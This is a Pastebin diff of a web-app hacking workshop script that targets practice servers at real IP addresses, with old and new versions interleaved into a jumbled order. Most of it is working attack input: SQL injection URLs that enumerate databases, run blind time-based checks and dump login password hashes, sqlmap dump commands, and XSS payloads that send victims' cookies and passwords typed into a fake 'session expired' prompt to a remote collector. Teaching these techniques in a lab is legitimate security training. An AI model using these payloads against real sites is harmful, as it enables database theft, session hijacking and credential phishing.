SHOW:
|
|
- or go back to the newest paste.
| 1 | ####################### | |
| 2 | # Burp Suite Workshop # | |
| 3 | ####################### | |
| 4 | ||
| 5 | ||
| 6 | ||
| 7 | ||
| 8 | ||
| 9 | ||
| 10 | ################################## | |
| 11 | # Basic: Web Application Testing # | |
| 12 | ################################## | |
| 13 | ||
| 14 | Most people are going to tell you reference the OWASP Testing guide. | |
| 15 | https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents | |
| 16 | ||
| 17 | I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website. | |
| 18 | ||
| 19 | ||
| 20 | The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site. | |
| 21 | ||
| 22 | 1. Does the website talk to a DB? | |
| 23 | - Look for parameter passing (ex: site.com/page.php?id=4) | |
| 24 | - If yes - try SQL Injection | |
| 25 | ||
| 26 | 2. Can I or someone else see what I type? | |
| 27 | - If yes - try XSS | |
| 28 | - | Let's start with some manual testing against 45.77.162.239 |
| 28 | + | |
| 29 | 3. Does the page reference a file? | |
| 30 | - If yes - try LFI/RFI | |
| 31 | - | Start here: |
| 31 | + | |
| 32 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 32 | + | Let's start with some manual testing against 45.63.104.73 |
| 33 | - | http://45.77.162.239/ |
| 33 | + | |
| 34 | - | ----------------------------------------------------------------------- |
| 34 | + | |
| 35 | ####################### | |
| 36 | - | There's no parameter passing on the home page so the answer to question 1 is NO. |
| 36 | + | |
| 37 | - | There is however a search box in the top right of the webpage, so the answer to question 2 is YES. |
| 37 | + | |
| 38 | ||
| 39 | - | Try an XSS in the search box on the home page: |
| 39 | + | |
| 40 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 40 | + | |
| 41 | - | <script>alert(123);</script> |
| 41 | + | |
| 42 | - | ------------------------------------------------------------------------------------- |
| 42 | + | |
| 43 | ||
| 44 | - | Doing this gives us the following in the address bar: |
| 44 | + | |
| 45 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 45 | + | |
| 46 | - | http://45.77.162.239/BasicSearch.aspx?Word=<script>alert(123);</script> |
| 46 | + | |
| 47 | - | ------------------------------------------------------------------------------------- |
| 47 | + | |
| 48 | - Insert ' to test for SQLI | |
| 49 | - | Ok, so that XSS attempt didn't work - we'll cover more of this later. |
| 49 | + | |
| 50 | http://45.63.104.73/acre2.php?lap=acer' | |
| 51 | - | Let's move on to the search box in the left of the page. |
| 51 | + | |
| 52 | ||
| 53 | - | Let's give the newsletter signup box a shot |
| 53 | + | |
| 54 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1 | |
| 55 | - | Moving on to the login page. |
| 55 | + | |
| 56 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 56 | + | |
| 57 | - | http://45.77.162.239/login.aspx |
| 57 | + | |
| 58 | - | ------------------------------------------------------------------------------------- |
| 58 | + | |
| 59 | We do this using the ORDER BY | |
| 60 | - | I entered a single quote (') for both the user name and the password. I got the following error:
|
| 60 | + | |
| 61 | ||
| 62 | - | Let's try throwing a single quote (') in there:
|
| 62 | + | |
| 63 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 63 | + | |
| 64 | - | http://45.77.162.239/bookdetail.aspx?id=2' |
| 64 | + | |
| 65 | - | ------------------------------------------------------------------------------------- |
| 65 | + | |
| 66 | ||
| 67 | - | I get the following error: |
| 67 | + | |
| 68 | ||
| 69 | - | Unclosed quotation mark after the character string ''. |
| 69 | + | |
| 70 | - | Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. |
| 70 | + | |
| 71 | ||
| 72 | - | Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''. |
| 72 | + | |
| 73 | ||
| 74 | http://45.63.104.73/acre2.php?lap=acer' order by 25-- + | |
| 75 | Page returns the following error: | |
| 76 | Unknown column '25' in 'order clause' | |
| 77 | ||
| 78 | ||
| 79 | ||
| 80 | http://45.63.104.73/acre2.php?lap=acer' order by 12-- + | |
| 81 | ||
| 82 | Page returns the following error: | |
| 83 | - | ######################################################################################### |
| 83 | + | |
| 84 | - | # SQL Injection # |
| 84 | + | |
| 85 | - | # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx # |
| 85 | + | |
| 86 | - | ######################################################################################### |
| 86 | + | |
| 87 | http://45.63.104.73/acre2.php?lap=acer' order by 6-- + | |
| 88 | ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns | |
| 89 | - | - Another quick way to test for SQLI is to remove the parameter value |
| 89 | + | |
| 90 | ||
| 91 | ||
| 92 | Now we build out the union all select statement with the correct number of columns | |
| 93 | ||
| 94 | Reference: | |
| 95 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
| 95 | + | |
| 96 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))-- |
| 96 | + | |
| 97 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))-- |
| 97 | + | |
| 98 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))-- |
| 98 | + | |
| 99 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))-- |
| 99 | + | |
| 100 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))-- |
| 100 | + | |
| 101 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases |
| 101 | + | |
| 102 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))-- |
| 102 | + | |
| 103 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')-- |
| 103 | + | |
| 104 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')-- |
| 104 | + | |
| 105 | ||
| 106 | We see that a 4 and a 5 are on the screen. These are the columns that will echo back data | |
| 107 | ||
| 108 | ||
| 109 | Use a cheat sheet for syntax: | |
| 110 | http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet | |
| 111 | ||
| 112 | ||
| 113 | http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j | |
| 114 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
| 114 | + | |
| 115 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 100-- |
| 115 | + | |
| 116 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 50-- |
| 116 | + | |
| 117 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 25-- |
| 117 | + | |
| 118 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 10-- |
| 118 | + | |
| 119 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 5-- |
| 119 | + | |
| 120 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 6-- |
| 120 | + | |
| 121 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 7-- |
| 121 | + | |
| 122 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 8-- |
| 122 | + | |
| 123 | - | http://45.77.162.239/bookdetail.aspx?id=2 order by 9-- |
| 123 | + | |
| 124 | - | http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9-- |
| 124 | + | |
| 125 | ||
| 126 | ######################## | |
| 127 | # Question I get a lot # | |
| 128 | ######################## | |
| 129 | Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string. | |
| 130 | ||
| 131 | Here is a good reference for it: | |
| 132 | https://www.symantec.com/connect/blogs/mysql-injection-comments-comments | |
| 133 | ||
| 134 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
| 134 | + | |
| 135 | - | http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9-- |
| 135 | + | |
| 136 | ||
| 137 | ||
| 138 | ||
| 139 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
| 139 | + | |
| 140 | - | http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9-- |
| 140 | + | |
| 141 | - | http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9-- |
| 141 | + | |
| 142 | - | http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9-- |
| 142 | + | http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))-- |
| 143 | - | http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins-- |
| 143 | + | http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))-- |
| 144 | http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))-- | |
| 145 | http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))-- | |
| 146 | http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))-- | |
| 147 | http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases | |
| 148 | http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))-- | |
| 149 | http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')-- | |
| 150 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
| 150 | + | http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')-- |
| 151 | - | http://45.77.162.239/bookdetail.aspx?id=(2) |
| 151 | + | |
| 152 | - | http://45.77.162.239/bookdetail.aspx?id=(4-2) |
| 152 | + | |
| 153 | - | http://45.77.162.239/bookdetail.aspx?id=(4-1) |
| 153 | + | |
| 154 | ||
| 155 | ############################# | |
| 156 | - | - This is some true/false logic testing |
| 156 | + | |
| 157 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 157 | + | |
| 158 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1=1-- |
| 158 | + | http://54.245.184.121/bookdetail.aspx?id=2 order by 100-- |
| 159 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1=2-- |
| 159 | + | http://54.245.184.121/bookdetail.aspx?id=2 order by 50-- |
| 160 | - | http://45.77.162.239/bookdetail.aspx?id=1*1 |
| 160 | + | http://54.245.184.121/bookdetail.aspx?id=2 order by 25-- |
| 161 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1# |
| 161 | + | http://54.245.184.121/bookdetail.aspx?id=2 order by 10-- |
| 162 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1<99# |
| 162 | + | http://54.245.184.121/bookdetail.aspx?id=2 order by 5-- |
| 163 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1# |
| 163 | + | http://54.245.184.121/bookdetail.aspx?id=2 order by 6-- |
| 164 | - | http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3-- |
| 164 | + | http://54.245.184.121/bookdetail.aspx?id=2 order by 7-- |
| 165 | - | http://45.77.162.239/bookdetail.aspx?id=2 &0# |
| 165 | + | http://54.245.184.121/bookdetail.aspx?id=2 order by 8-- |
| 166 | - | ------------------------------------------------------------------------------------- |
| 166 | + | http://54.245.184.121/bookdetail.aspx?id=2 order by 9-- |
| 167 | http://54.245.184.121/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9-- | |
| 168 | - | -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it |
| 168 | + | |
| 169 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 169 | + | |
| 170 | - | http://45.77.162.239/bookdetail.aspx?id=2 and 1=1-- |
| 170 | + | |
| 171 | - | http://45.77.162.239/bookdetail.aspx?id=2 and 1=2-- |
| 171 | + | |
| 172 | - | http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1-- |
| 172 | + | |
| 173 | - | http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1-- |
| 173 | + | |
| 174 | - | --------------------------------------------------------------------------------------- |
| 174 | + | |
| 175 | Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types. | |
| 176 | ||
| 177 | http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9-- | |
| 178 | ||
| 179 | Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed. | |
| 180 | ||
| 181 | http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9-- | |
| 182 | http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9-- | |
| 183 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
| 183 | + | http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9-- |
| 184 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- |
| 184 | + | http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins-- |
| 185 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- |
| 185 | + | |
| 186 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds) |
| 186 | + | |
| 187 | ||
| 188 | ||
| 189 | ||
| 190 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 190 | + | |
| 191 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'-- |
| 191 | + | http://54.245.184.121/bookdetail.aspx?id=(2) |
| 192 | - | ------------------------------------------------------------------------------------- |
| 192 | + | http://54.245.184.121/bookdetail.aspx?id=(4-2) |
| 193 | http://54.245.184.121/bookdetail.aspx?id=(4-1) | |
| 194 | ||
| 195 | ||
| 196 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
| 196 | + | |
| 197 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- |
| 197 | + | http://54.245.184.121/bookdetail.aspx?id=2 or 1=1-- |
| 198 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'-- |
| 198 | + | http://54.245.184.121/bookdetail.aspx?id=2 or 1=2-- |
| 199 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'-- |
| 199 | + | http://54.245.184.121/bookdetail.aspx?id=1*1 |
| 200 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds) |
| 200 | + | http://54.245.184.121/bookdetail.aspx?id=2 or 1 >-1# |
| 201 | http://54.245.184.121/bookdetail.aspx?id=2 or 1<99# | |
| 202 | http://54.245.184.121/bookdetail.aspx?id=2 or 1<>1# | |
| 203 | http://54.245.184.121/bookdetail.aspx?id=2 or 2 != 3-- | |
| 204 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
| 204 | + | http://54.245.184.121/bookdetail.aspx?id=2 &0# |
| 205 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
| 205 | + | |
| 206 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
| 206 | + | |
| 207 | ||
| 208 | ||
| 209 | ||
| 210 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
| 210 | + | |
| 211 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
| 211 | + | |
| 212 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'-- |
| 212 | + | |
| 213 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
| 213 | + | |
| 214 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
| 214 | + | |
| 215 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'-- |
| 215 | + | |
| 216 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- |
| 216 | + | http://54.245.184.121/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- |
| 217 | - | http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
| 217 | + | http://54.245.184.121/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- |
| 218 | http://54.245.184.121/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds) | |
| 219 | ||
| 220 | Let's go for a quick check to see if it's DBO | |
| 221 | http://54.245.184.121/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'-- | |
| 222 | ||
| 223 | - | ########## |
| 223 | + | |
| 224 | - | # Sqlmap # |
| 224 | + | |
| 225 | - | ########## |
| 225 | + | |
| 226 | - | If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands: |
| 226 | + | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- |
| 227 | - | ---------------------------Type This----------------------------------- |
| 227 | + | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'-- |
| 228 | - | cd ~/toolz/sqlmap-dev/ |
| 228 | + | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'-- |
| 229 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b |
| 229 | + | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds) |
| 230 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user |
| 230 | + | |
| 231 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db |
| 231 | + | |
| 232 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs |
| 232 | + | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
| 233 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables |
| 233 | + | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
| 234 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns |
| 234 | + | |
| 235 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns |
| 235 | + | |
| 236 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump |
| 236 | + | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
| 237 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump |
| 237 | + | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'-- |
| 238 | - | python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords |
| 238 | + | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
| 239 | - | ------------------------------------------------------------------------ |
| 239 | + | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds |
| 240 | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'-- | |
| 241 | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- | |
| 242 | http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
| 243 | ||
| 244 | ||
| 245 | ############################################################################### | |
| 246 | # What is XSS # | |
| 247 | # https://infosecaddictsfiles.blob.core.windows.net/files/2-Intro_To_XSS.pptx # | |
| 248 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 248 | + | |
| 249 | ||
| 250 | - | ------------------------------------------------------------------------------------- |
| 250 | + | |
| 251 | ||
| 252 | 1. Use Firefox to browse to the following location: | |
| 253 | ||
| 254 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 254 | + | |
| 255 | ||
| 256 | - | ------------------------------------------------------------------------------------- |
| 256 | + | |
| 257 | ||
| 258 | ||
| 259 | ||
| 260 | ||
| 261 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 261 | + | |
| 262 | ||
| 263 | - | ------------------------------------------------------------------------------------- |
| 263 | + | |
| 264 | ||
| 265 | ||
| 266 | This should pop-up an alert window with your message in it proving XSS is in fact possible. | |
| 267 | Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/ | |
| 268 | ||
| 269 | ||
| 270 | 3. In the search box type: | |
| 271 | ||
| 272 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 272 | + | |
| 273 | ||
| 274 | - | ------------------------------------------------------------------------------------- |
| 274 | + | |
| 275 | This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed. | |
| 276 | Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/ | |
| 277 | ||
| 278 | 4. Now replace that alert script with: | |
| 279 | ||
| 280 | <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script> | |
| 281 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 281 | + | |
| 282 | ||
| 283 | - | ------------------------------------------------------------------------------------- |
| 283 | + | |
| 284 | ||
| 285 | ||
| 286 | 5. Now view the stolen cookie at: | |
| 287 | http://45.63.104.73/xss_practice/cookie_stealer_logs.html | |
| 288 | ||
| 289 | ||
| 290 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 290 | + | |
| 291 | ||
| 292 | - | ------------------------------------------------------------------------------------- |
| 292 | + | |
| 293 | ||
| 294 | ||
| 295 | ||
| 296 | ||
| 297 | ############################ | |
| 298 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 298 | + | |
| 299 | ############################ | |
| 300 | - | ------------------------------------------------------------------------------------- |
| 300 | + | |
| 301 | ||
| 302 | Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box. | |
| 303 | - | Unknown column '12' in 'order clause' |
| 303 | + | |
| 304 | ||
| 305 | Use Firefox to browse to the following location: | |
| 306 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 306 | + | |
| 307 | http://45.63.104.73/xss_practice/ | |
| 308 | - | ------------------------------------------------------------------------------------- |
| 308 | + | |
| 309 | ||
| 310 | ||
| 311 | Paste this in the search box | |
| 312 | ---------------------------- | |
| 313 | ||
| 314 | ||
| 315 | ||
| 316 | <script> | |
| 317 | password=prompt('Your session is expired. Please enter your password to continue',' ');
| |
| 318 | document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
| |
| 319 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 319 | + | |
| 320 | ||
| 321 | - | ------------------------------------------------------------------------------------- |
| 321 | + | |
| 322 | Now view the stolen cookie at: | |
| 323 | http://45.63.104.73/xss_practice/passwords.html | |
| 324 | ||
| 325 | ||
| 326 | ######################### | |
| 327 | # File Handling Attacks # | |
| 328 | - | ------------------------------------------------------------------------------------- |
| 328 | + | |
| 329 | ||
| 330 | Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file) | |
| 331 | http://45.63.104.73/showfile.php?filename=about.txt | |
| 332 | ||
| 333 | ||
| 334 | ||
| 335 | See if you can read files on the file system: | |
| 336 | - | ---------------------------Paste these one line at a time into Firefox----------------------------------- |
| 336 | + | |
| 337 | ||
| 338 | We call this attack a Local File Include or LFI. | |
| 339 | ||
| 340 | Now let's find some text out on the internet somewhere: | |
| 341 | https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt | |
| 342 | ||
| 343 | ||
| 344 | Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI: | |
| 345 | http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt | |
| 346 | - | ------------------------------------------------------------------------------------- ------------------- |
| 346 | + | |
| 347 | ||
| 348 | ||
| 349 | ||
| 350 | ||
| 351 | ######################### | |
| 352 | # Setting up Burp Suite # | |
| 353 | ######################### | |
| 354 | Download the latest free version of FoxyProxy at https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/ | |
| 355 | ||
| 356 | Download the latest free version of Burp at https://portswigger.net/burp/freedownload | |
| 357 | ||
| 358 | Be sure to download the appropriate version for your computer system/OS. | |
| 359 | ||
| 360 | Make sure that burpsuite_free_v1.7.27.jar is set as executable (chmod +x burpsuite_free_v1.7.27.jar) and then run: | |
| 361 | - | # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx # |
| 361 | + | |
| 362 | java -jar burpsuite_free_v1.7.27.jar | |
| 363 | ||
| 364 | - Click the "Proxy" tab | |
| 365 | - Click the "Options" sub tab | |
| 366 | - Click “Edit” in the “Proxy Listeners” section | |
| 367 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 367 | + | |
| 368 | - In the same pop up make sure that the bind port is 8080 | |
| 369 | - | ------------------------------------------------------------------------------------- |
| 369 | + | |
| 370 | - Ensure that burp is configured to "generate CA-signed per-host certificates" | |
| 371 | ||
| 372 | Open Firefox | |
| 373 | - Click "Edit" | |
| 374 | - Click “Preferences" | |
| 375 | - Click the "Advanced" tab | |
| 376 | - Click the "Network" sub tab | |
| 377 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 377 | + | |
| 378 | - Click "manual proxy configuration" | |
| 379 | - | ------------------------------------------------------------------------------------- |
| 379 | + | |
| 380 | check "Use this proxy server for all protocols" | |
| 381 | - Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line | |
| 382 | ||
| 383 | ||
| 384 | Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates. | |
| 385 | ||
| 386 | Visit any SSL-protected URL. | |
| 387 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 387 | + | |
| 388 | On the “This Connection is Untrusted” screen, click on “Add Exception” | |
| 389 | - | ------------------------------------------------------------------------------------- |
| 389 | + | |
| 390 | ||
| 391 | In the “Details” tab, select the root certificate in the tree (PortSwigger CA). | |
| 392 | ||
| 393 | Click "Export" and save the certificate as "BurpCert" on the Desktop. | |
| 394 | ||
| 395 | Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog | |
| 396 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 396 | + | |
| 397 | Click “Advanced” and go to “Certificates” tab | |
| 398 | - | ------------------------------------------------------------------------------------- |
| 398 | + | |
| 399 | ||
| 400 | Click "Import" and select the certificate file that you previously saved. | |
| 401 | ||
| 402 | On the "Downloading Certificate" dialog, check the box "Trust this CA to identify web sites", and click "OK". | |
| 403 | ||
| 404 | - | ---------------------------Paste this into Firefox----------------------------------- |
| 404 | + | |
| 405 | - | http://45.63.104.73/xss_practice/cookie_stealer_logs.html |
| 405 | + | |
| 406 | - | ------------------------------------------------------------------------------------- |
| 406 | + | |
| 407 | ||
| 408 | ||
